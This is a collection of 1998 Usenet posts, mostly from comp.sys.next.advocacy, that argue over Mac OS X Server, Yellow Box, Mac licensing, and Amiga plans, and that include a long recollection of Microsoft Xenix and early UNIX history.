Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 4 Oct 1998 18:35:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8f5t$8l7@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v1ovv$c9k@news1.panix.com> <3614BF4E.C5F58265@nstar.net> <6v2tj8$lqd@news1.panix.com> <01bdee42$e96981e0$3e66ec84@bigred>
On 2 Oct 1998 21:26:24 GMT, Sung Ho Kim <sk68@cornell.edu> wrote:
>Frankly, I hate this attitude. If you're going to whine about stuff on an
>advocacy group, you need to turn your computer off, sell it, and use the
>money to go buy a life. I hate to be mean about it, but if you don't like
>getting attacked, dont fri**ing post to an advocacy group.
To put it bluntly, if you can not have an adult discussion, you should not
be here. There is no reason to revert to name calling in a technical
discussion. And that is my problem with MJP. (And I am hardly alone in
this assertion)
>> If I added you to my killfile, you would end up with free reign to post
>> FUD to CSNA, something I will not give you. If you are going to post FUD,
>Behold, the Silver Knight of CSNA...[not]
Sorry, I think it is wrong to back out of something just because someone
has hurt your feelings. I am not going to let MJP's childish rants to
interfere with my right to be here and speak my mind.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 4 Oct 1998 18:35:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8f5v$8l7@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <361655C1.977A0B2C@yahoo.com>
On Sat, 03 Oct 1998 09:51:37 -0700,
Robert Fovell <rfovell@yahoo.com> wrote:
>A modest proposal: Roll out Mac OS X Server *quietly*, if indeed the candle's
>ready to be lit.
I think this would be a repetition of countless quiet roll outs that Apple
has done in the past, and would do just as well (big failure)
Apple should let the iMac hype mellow out, and then roll out WebObjects 4.0
and Mac OS X Server and hype the living daylights out of it. They should hype
it to developers the same way the iMac is being hyped to consumers.
>The problem with MOSXS is that it
>now carries the "Mac OS" moniker, which may fool someone expecting - and needing
>- something more like OS 8.5.
I think that's why they added the "server" at the end. I would also expect it
to be closer to $500 than the $100 or so that 8.5 will cost.
> I believe, hopefully not foolishly, that in MOSXS
>Apple has a product that can get Unix/Linux ubergeeks excited. This is a good
>thing, and need not cloud their other marketing strategies, IMHO.
Heck, every time someone mentions the iMac on slashdot.org, the Unix/Linux
ubergeeks go nuts. It is almost as bad as the KDE/Gnome flame wars. I think
it is a given that some portion of the Linux crowd will look at MacOSX. They
like anything that is new and has a bunch of new buzzwords attached to it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
Date: 4 Oct 1998 18:35:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8f61$8l7@news1.panix.com>
References: <6v6b9c$8s2$3@news.bctel.net>
On Sat, 03 Oct 1998 23:16:23 GMT, Maria Iglesis
<listings@infobase-intl.com> wrote:
>It will be very disappointing for the OPENSTEP look and feel to be a thing of
>the past.....
You might want to check out
ftp://ftp.next.peak.org/pub/rhapsody/Applications/Preferences/InterfaceStyle-1.1.README
<quote>
InterfaceStyle.preference 1.1 (Sep 5 1998)
=============================
What is it?
-----------
InterfaceStyle.preference is a bundle for Preferences.app, on RDR2.
It adds the possibility to set the default look of the applications
on RDR2 by using the NSInterfaceStyle API. It is compiled fat for
Rhapsody PPC/Intel DR2.
Note: this version can be used only with RDR2; it cannot work on
RDR1, and will probably fail to work as-is with future versions
of Rhapsody/MacOS X. The NeXTStep style will disappear in future
releases (sniff!).
</quote>
But hope is not lost...
<quote>
Developer Interest
------------------
If you use the NSInterfaceStyle API for your own subclasses and add
some other keys, add them too in the InterfaceStyles.plist for them to
be displayed in this <editor>.
Maybe you will find this bundle some interest...
</quote>
Apple may not remove the NeXT UI portions, and even if they do, it may
be possible for them to be added by interested 3rd parties.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 4 Oct 1998 18:35:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8f60$8l7@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v36or$59g$1@news.spacelab.net> <3616232A.F5F36B0@nstar.net>
On Sat, 03 Oct 1998 08:14:18 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>There is no contradiction between "Apple will provide a user experience
>on Windows that meets Windows UI guidelines...how useful would YB/NT be
>if Apps...didn't earn the NT logo?" and "you do not have to stick to the
>win UI to earn the logo"?
>
>What's the explanation? I'm all ears.
You are taking my statements out of context. The phrase "you do not have to
stick to the win UI to earn the logo" was a mention to special logo
requirements. I gave Quake as an example.
If you read the URL that I provided,
http://premium.microsoft.com/msdn/library/sdkdoc/winlogo/logo_84xf.htm
You would have seen this
<quote>
Roadmap to Logo Requirements:
[cliped a bit]
General. Your application must be a multi-tasking 32-bit program that is stable
and fully functional running on all current versions of Windows and Windows NT.
Your application must also support standard system user-interface settings.
</quote>
In addition to that, there are special requirements, covered in
http://premium.microsoft.com/msdn/library/sdkdoc/winlogo/logo_492r.htm
<quote>
Development Tools must be capable of generating logo-compliant applications,
and must submit such a sample application for testing purposes. They must make
it easy to create OLE containers and/or object servers, and advise customers
of any potential logo-requirement problems with applications that they build.
</quote>
You might also want to look at
http://premium.microsoft.com/msdn/library/sdkdoc/winlogo/logo_39o3.htm
<quote>
Logo Requirements, Recommendations, and Best Practices
[clipped a bit]
Provide consistent, up-to-date Windows support.
</quote>
>Sounds like you're the one injecting this distinction between present
>and future, which is nowhere present in Sal's posting,
Yes it is. Go back and check. When I stated that "Apple can not promise
a free runtime" I was referring to the current situation. When I stated
that "Apple has committed to providing a free runtime" I was quoting
Apple, and referring to the fact that Apple is working to remove 3rd
party portions from YB. Your attempts to muddle the conversation are
growing tedious, and do nothing to change the facts that you are unable
(and unwilling) to provide evidence to support your claims.
from: <360FBE64.67D0D2EF@ericsson.com>
<quote>
Voila. Argument over. This is exactly what John was saying: Apple will
provide a Yellow Box that gives an inferior user experience on Windows,
even though it doesn't have to be that way, because it needs to protect
its own hardware/OS platforms.
</quote>
and a contradiction:
From: <3614BF4E.C5F58265@nstar.net>
<quote>
> You stated that Apple was refusing to provide the full YB interface on NT
> in order to protect its hardware sales.
No I'm not and no I didn't. You obviously haven't read the thread into
which you inserted yourself.
</quote>
from: <3612920B.E58FCA6E@ericsson.com>
<quote>
Here's the point, in textmode graphics: none of the work Apple has done
so far, with regard to removing the Yellow Box runtime royalties, has
anything to do with Windows specifically. They could want free runtimes
for the sake of putting Yellow Box on MacOS 9. They could have removed
Display PostScript for the sake of a new proprietary display engine.
They could have done these things for any number of reasons that have
exactly zero relationship to consistently providing a Windows Yellow Box
solution.
</quote>
I am still waiting for you to back up any of the possibilities you raised.
Where is there evidence that Apple is porting YB to MacOS? And why is Apple
keeping the PS Image model in the new display server if they are planning a new
proprietary display engine?
>> You're consistent. Not being concerned about the opinions of others and a
>> lack of courtesy are well correlated.
>Such wit!
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 4 Oct 1998 18:38:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8fbt$8lt@news1.panix.com>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net>
On Sat, 03 Oct 1998 19:48:02 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Jonathan W Hendry wrote:
>> rr6013@yahoo.com wrote:
>> > Why would licensing iMac *only*, be good for Apple, good for the consuming
>> > public and marketshare?
>> Why should they license, when they can subcontract?
>That's easy: it brings more partners, more expertise, more money, more
>visibility, more innovation, more channels, more customers, and more
>competition to the table.
_All_ of those points also apply to outsourcing. There are four things that
OEM would provide that licensing would not
1) Preserve Apple's margins, and the margins of Apple resellers.
2) Preserve the value of the Apple brand keeping Apple from being a
"Me to" product.
3) Increase Apple's market share, rather than the "Mac" market share or
PowerPC market share.
4) Prevent "model proliferation" from increasing QA costs (As cloners
begin to use other parts to cut costs)
Apple has plenty of competition as it is, it doesn't need to create new
competition for itself.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: 4 Oct 1998 18:38:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v8fbs$8lt@news1.panix.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <6v6g9b$bub@newsb.netnews.att.com>
On 4 Oct 1998 00:42:19 GMT, gupta@kcopsrm.tm.tta.moc-mirror after
@ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
><quinlan@intergate.bc.ca> wrote:
>>A very broad claim that is definately false. There are certain applications
>>that a user may need that are available for a 286 that are not available for
>>a G3. For example, I used to use a laser-based timing system that was
>>connected to an ISA card. This special purpose hardware is available only for
>>ISA and the software can only be run under DOS.
PII machines have ISA slots and can run DOS. There are socket7 motherboards
with as many as 6 ISA slots (And they sell well to telco VARs that need 4+
ISA slots for Dialogic boards and the like)
>>advantage to running DOS on a 286. And, since you used the word "no" at the
>>beginning of your claim, a single example is all that is needed to make your
>>claim false.
>You may be right. On the other hand, getting basic stuff that works in
>386 machines is hard. And if your laser-based timing system is no longer
>available in any form, one wonders how useful it is.
My newton is no longer available, but it is still very useful.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sat, 3 Oct 1998 20:05:48 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19981003200548859730@ts4-48.aug.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v4lie$heh$3@news.idiom.com>
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> -> "WINDOWS NT NEARLY SANK THIS SHIP. JUST IMAGINE WHAT IT COULD DO FOR YOUR
> -> BUSINESS".
>
> Uh, let's not exaggerate here. NT disabled the ship, but software failure
> can't punch a hole in the hull. The Yorktown was never in any danger of
> sinking, it just wasn't very useful.
A warship dead in the water is a warship asking to have a hole blown in
it.
--
Remove nojunk from my email address to reply by email.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PCM Tests the iMac again
Date: Tue, 6 Oct 1998 11:22:41 -0700
Organization: University of British Columbia
Message-ID: <1dgh174.1nnsb12jzw8y0N@p026.intchg2.net.ubc.ca>
References: <3619BF6A.6159336B@nstar.net>
User-Agent: MacSOUP/2.4b2
Michael Peck <mjpeck@nstar.net> wrote:
> Jobs' insultingly deceitful claims to iMac performance are an
> embarassment. This is out of control.
>
> http://www.zdnet.com/pcmag/firstlooks/9810/f981002a.html
Can impeachment proceedings be far away?
Relax. Apple's spin on "Pentium-toasting" G3 speed has had the effect of
ensuring that iMac sales weren't immediately quashed by insultingly
deceitful claims that a 'merely' 233MHz CPU is ipso facto a lame joke.
Remember, it's a Dvorak-eat-Bray world out there. Especially at the
consumer sales level, where mis- and disinformation rules.
--
Bruce Bennett
Message-ID: <3616C61B.25FB820@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <6v6g9b$bub@newsb.netnews.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sat, 03 Oct 1998 20:50:30 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 03 Oct 1998 19:49:31 -0500
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> You may be right. On the other hand, getting basic stuff that works in
> 386 machines is hard. And if your laser-based timing system is no longer
> available in any form, one wonders how useful it is.
If one has the installation media and licenses, one need not wonder.
MJP
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 5 Oct 1998 05:22:03 GMT
Organization: University of Illinois at Chicago
Message-ID: <6v9l1r$27uq$1@piglet.cc.uic.edu>
Michael Peck (mjpeck@nstar.net) wrote:
: jmz@southwind.net wrote:
: > May I point to Sun? Sun makes it possible,even easy,to make
: > SPARCstations that compete directly with Sun's own,and in fact if you
: > are not a Fortune 500 company a Sun clone is almost always a better
: > choice.Sun still sells 80% of SPARC boxes and earns enough on the rest
: > to make your buying a Tatung,Sanar,Integrix,or (yecch) Ross profitable
: > for them.
: Don't forget Fujitsu and Axil. Anyway, that's the appropriate parallel.
: Sun is the "Macintosh" of the UNIX market, except for the fact that Sun
: actually sells well in its own market. Sun has made one of the most
: successful licensing programs in the industry, and anyone who wants to
: argue with the idea of cloning the Macintosh has to either argue with
: Sun's success, or say that Apple is simply too incompetent to accomplish
: what Sun did.
However, most Solaris customers are far more willing to part with
more of their money than most Mac customers. They are less price
sensitive and are willing to pay for reliability and support. Plus
most of these companies don't sell products that compete with Sun's
more profitable high end products, or aren't willing to compete
simply on price because they have high costs and other interests which
they don't want to hurt as in the case of Fujitsu. When it comes down
to it, most Solaris customers don't trust most of the existing cloners.
And if clones are actually profitable for Sun, it's probably because
they are getting not only revenue from the OS but also from the
CPU module and supporting chip sets (at least in the case of the
vendors who are selling UltraSPARC based clones).
: [cut]
: MJP
From: listings@infobase-intl.com (Maria Iglesis)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
Date: Mon, 05 Oct 1998 05:49:47 GMT
Organization: http://www.infobase-intl.com
Message-ID: <6v9mn8$ior$1@news.bctel.net>
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com>
>Apple may not remove the NeXT UI portions, and even if they do, it may
>be possible for them to be added by interested 3rd parties.
I certainly hope so.......I also wonder if Adobe will offer a DPS package
since Apple won't be offering it.
Maria Iglesis
InfoBase International
listings@infobase-intl.com
http://www.infobase-intl.com
From: bayko@pollux.cs.uregina.ca (John Bayko)
Newsgroups: alt.folklore.computers,alt.religion.computers,comp.os.ms-windows.nt.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Next generation Amigas
Followup-To: alt.religion.computers,comp.os.ms-windows.nt.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Date: 4 Oct 1998 04:46:05 GMT
Organization: University of Regina, Dept. of Computer Science
Message-ID: <6v6uid$6fc$1@sue.cc.uregina.ca>
References: <3600BD32.34DE@dusknet.dyn.ml.org> <F05tCw.AxD.0.hotlips@GTS.Net> <3614AC4D.3A0C5E0A@mindless.com> <3615a9f9.0@news.iglou.com>
In article <3615a9f9.0@news.iglou.com>,
Pat Larkin <jasnider@iglou2.iglou.com> wrote:
>Hugo Pozzanski <hugo-pozzanski@mindless.com> writes:
[...]
>>It has changed hands a number of times, with little or no progress. At
>>least Gateway2000 have licensed it's technology out. How does one
>>define 'shortly' ? I've heard that term for about four years.
>
>Latest word I've seen is that development machines for the next generation
>Amigas are due out this coming November. They are x86 machines, because
>the development tools for the (so far unnamed) Magical Mystery Chip
>powering the next generation are x86-based. The MMC-base next gen
>machines are expected about a year after that.
Not quite - the MMC is not x86 based, the "Next Amiga" will be x86
based... specifically, it will be a x86 (probably DOS/Windows) based
development system with a MMC (+ AmigaOS 4.0 - probably beta) on a card.
The MMC was originally intended as some sort of multimedia
coprocessor for PCs (and will prpbably be used that way anyway when it
becomes real), but is complete enough to be used as a CPU.
As for "shortly", the CPU and its programming tools (which I'd
expect to include CodeWarrior - is there anything it *doesn't* run
on?) has been in development for some time before the idea of using it
in an Amiga - apparently Gateway has been funding development for it,
which allowed the Amiga group to get a look at it when they were
wondering what to do with this technology they bought. I expect that
"shortly" really does mean on schedule, for the development system. I
doubt it will really mean "shortly" for the real MMC-based system - a
buggy, incomplete OS is acceptable for a development system, but not
for production, and producing operating systems, unless the company
has lots of successful experience (ie, not the type of experience
Microsoft has, but the type IBM has), usually takes far longer than
expected, and can rapidly turn into a company-threatening disaster
(eg. NT 5.0, IBM's System/360).
On the other hand, maybe they're planning on using a mature OS,
and just adding the Amiga API on to it, like Apple is doing with
NextStep/Rhapsody/Carbon/OS X, in which case they have a fighting
chance (heck, imagine if Microsoft had gone the smart route and simply
licenced OS/2, grafted a Windows API onto it, and called that NT5.0 -
they'd have shipped by now, people would not be be awakening from
their stupor to find Bill Gates wearing the Emperor's New Clothes, and
it would be a technologically better system to boot).
>Shall we start a thread speculating on what/from whom the new chips will
>be? Project X? Something from TransMeta? NEC's new chip?
The press releases say that it's from a "well known company", but one
which is not known for anything in this area - that might mean
anything from General Electric to Miller Brewing Company. Other
information that has been released say it will be capable of
simultaneously decoding four MPEG streams at once, and other
statements about being able to run a JVM while not affecting the
performance of other processes hint that it might be a multi-threaded
chip (a secret project from Tera?...).
Or it might be marketing hype, but a multithreaded chip might be
technologically easier to get multiple video streams from than a
unltrafast scalar chip - at least if you want the CPU to cost less
than the entire yearly salary of a Russian factory worker.
Followup-To: redirected to everywhere *but* alt.folklore.computers.
--
John Bayko (Tau).
bayko@cs.uregina.ca
http://www.cs.uregina.ca/~bayko
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v57dh$icn$15@supernews.com> <6v5kte$jdt$1@nnrp1.dejanews.com>
Subject: Re: ARGH]:
Message-ID: <LYDR1.14$U8.5985@news6.ispnews.com>
NNTP-Posting-Date: Sun, 04 Oct 1998 01:46:19 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 3 Oct 1998 22:43:18 -0700
spagiola@my-dejanews.com wrote in message
<6v5kte$jdt$1@nnrp1.dejanews.com>...
>"Dan" <dan@knowspaam.com> wrote:
>> > When I want to stare at a succession of error messages and HourGlasses,
>> > I use NT.
>>
>> You "rarely" see a hourglass when using NT unless your hovering your
pointer
>> over a working application.
>
>I beg to differ. I'm forced to use NT4 a lot these days, and I see the
>hourglass a lot. YMMV.
You're seeing an *app* specific hourglass. Move the mouse so that its over
another window and the hourglass will go away.
Message-ID: <36170E22.4E78850B@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361462DE.A1DFB275@trilithon.com> <6v5kad$qta@host2.in-motion.net>
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NNTP-Posting-Date: Sun, 04 Oct 1998 01:53:34 EDT
Date: Sat, 03 Oct 1998 22:56:50 -0700
Bill Romanowski wrote:
* Here's some of the history of MS's Xenix as I remember it.
* Some of this may be wrong, it's been almost 20 years . . .
Thanks Bill for filling in some of the history. Here are some
of my memories on the subject.
* Microsoft's UNIX, Xenix started out as a direct port of
* Bell Lab's Unix v7.
That bit I remember well. I delivered the Codata Z8000-based
system to which Microsoft did the initial port of V7 off of
their PDP-11. Bob Greenberg of Microsoft was the project lead.
He later ended up in the Bay Area working for IDS --- one of
the very early local UNIX time-sharing vendors. Less than a year
later, Codata had a MC68000-based box out, based on the original
Sun design licensed from Andreas Bechtolsheim at Stanford.
I used IDS for over a year, to develop all the examples for my
book 'Introducing the UNIX System', which, as of last look, has
sold over 300,000 copies since 1981.
* The actual delivery of Xenix was not done by MS, it was
* built by Human Computing Resources (HCR) in Toronto.
That *is* interesting --- after I had done the initial work
with Microsoft I went on to other things --- like joining
Sun Microsystems in 1982 --- and lost track of the Xenix project.
* I believe that HCR was founded by graduates of the
* University of Toronto,
I would be really interested to know if HCR came out of U of T,
or out of the University of Waterloo. In the 1974-1978 period,
I was working at Control Data in Mississauga --- just outside
Toronto. They had a very close relationship with University of
Waterloo, and Waterloo had one of the very first [if not the
first] academic [version 6] licenses in Canada. I believe they
were one of the original 43 UNIX sites. I don't know if U of T
were involved or not. If only Henry Spencer read this
newsgroup! I worked with a bloke named Jon Livesey, who came
out of Waterloo, worked with me at Control Data, years later
worked at Sun, and last time I looked, was at SGI.
* HCR took the chance and paid for a Unix source license from
* Bell Labs, which at the time ran...I think...around $20K
* and pushed for commercialization of Unix. At the time, AT&T
* was using Unix internally and would only let it out to
* schools. This was all around 1979-80, just before the
* IBM-PC was introduced.
I have vague memories that around that time, the UNIX source
license was around $14,000. As you say, HCR took a chance. In
the 1975 timeframe, I had been agitating for Control Data to
take the chance also. They never did, during my time, at least.
Over the years, the UNIX licensing fees kept notching up, over
$20K, then to $28K, then to around $43K, and on up. By the
time Control Data had finally decided [around 1990] that 'UNIX
is where it's at', the fees must have been huge, and the world
was deciding that UNIX was on its way to its place in history
alongside the zumbooruk.
AT&T seemed to have no grasp of business. As the user base
grew, they kept increasing the price. AT&T also introduced a
UNIX box of their own --- the 7300. A colleague described it
as 'The World's first $7,000 telephone dialler'. Rumour has it
that AT&T lost about a billion dollars on their UNIX operations
over the years.
* A PC at the time meant Z80-based CP/M boxes, the Apple II
* and the remaining "homebrew" boxes.
Yep --- I built my first Z80-based CP/M box in 1979. I
eventually ended up with two of them and they did sterling work
until I got rid of them around 1985, when McGraw-Hill bought me
a Dual Systems UNIX box with an 80MB Fujitsu SMD battleship
plus an incredible two megabyte of RAM.
* The HCR distribution was available primarily on DEC
* PDP/LSI-11s and (surprise Mac-ite's) 68000's.
Now that last bit *is* interesting. I wonder where HCR got
their MC68000 port? Did they do it themselves? Around the
1981 time, UniSoft corporation of Berkeley set up in business
to do UNIX ports --- and as far as I recall, they focussed on
MC68000 ports. I worked with them on the port to Codata's box.
Apple were there as well, in a top-secret shielded room
upstairs where they were doing the very first port of what
would be AUX, to the Lisa. Possibly Pacific Microcomputer had
their port done at UniSoft. And also possibly Cadmus as well.
By the 1982 time, UniSoft were boasting they had ported V7 to
120 different UNIX boxen.
* Although Xenix was available from MS for DEC CPUs, they
* sold it mostly to 68000 vendors; Fortune Systems,
Hmmm --- I often wondered where Fortune got their UNIX.
But Fortune put their own stupid 'menu-driven' interface
on it so the 'average user' wouldn't have to be exposed to
full-frontal UNIX. I remember trying a Fortune box one time.
The dialogue went something like this:
% copy
% What is the file you want to copy, sir? fred
% What is the destination file named, sir? sally
% Do you really really want to do this, sir? yes
cp: no such file or directory.
In other words, they had this unbelievably obsequious greasy
'interactive' dialogue, but when something didn't work, there
you were, back at full-frontal UNIX again. Just like most of
the other UNIX vendors --- a coat of gold leaf on the garbage
dump. They deserved to go out of business.
* Charles River Data Systems
Cool --- I often wondered where they got their UNIX as well.
* and everyone's favorite computer company, Tandy/Radio
* Shack. This box was the 68000-based TRS-16. Someone at the
* time, I don't recall if it was MS or TRS, claimed that
* there was more Unix sold on TRS-16s than any other Unix
* supplier.
I believe that was indeed true at one point. Amazing, innit?
* As an aside, when the Mac came out I was -sure- that there
* would be a Unix for it immediately, considering that I was
* running Unix on a 68000 for 4 years previous. With this
* perspective, it's amazing that we're still waiting for true
* pre-emptive multitasking MacOs 20 years later...
The issue with multi-tasking is that the 'average joe' doesn't
see what you get from it. You know all those 'Print Buffer
Boxes' that have been on the market for all these years? You
know, a box with a couple of megabytes of RAM, so that 'you
won't have to wait for your printer'? Multi-tasking would
solve that problem, cheap and easy. But the 'average joe'
would rather pay the $100 for the 'print buffer box'.
* As MS-DOS came on the scene, MS lost interest in Xenix.
* This was primarily because of the philosophy we see today;
* Microsoft does not like selling things they don't own.
* Xenix required a fee to AT&T on every unit sold.
I wonder if that's the case? I think Microsoft got hooked into
getting the job done for IBM and maybe didn't have time for
UNIX. Prior to the IBM PC, the race was between UNIX and
CP/M-86 and other half-baked 16-bit OSs. When IBM piled into
the fray --- even though it was clear they didn't have the
proverbial clue --- the world shifted over to what IBM liked,
namely, MS-DOS. A ripoff of QDOS and CP/M-86.
* The legacy of Xenix still lives on today in Windows. Many
* features (mostly at the "shell" level) in Windows ...how do I
* say this in a nice way?... were "inspired" by Unix. The
* commands "pwd", "cd", "mkdir", ".." and more were from Unix.
Right. That's more an artifact of Microsoft at the time not
having the slightest understanding of what they were dealing
with. They [kind of] copied the surface features, but didn't
have a clue about the underlying concepts. Course, as you
point out elsewhere, here we are twenty years on, and most of
the PC vendors still don't have a clue about what an OS needs.
* As I remember, the first MS-DOS didn't have the concept of
* directory trees, just like CP/M (which was another major
* "inspiration" of MS-DOS). It wasn't until DOS 2.0 or so
* till "directories" came to be.
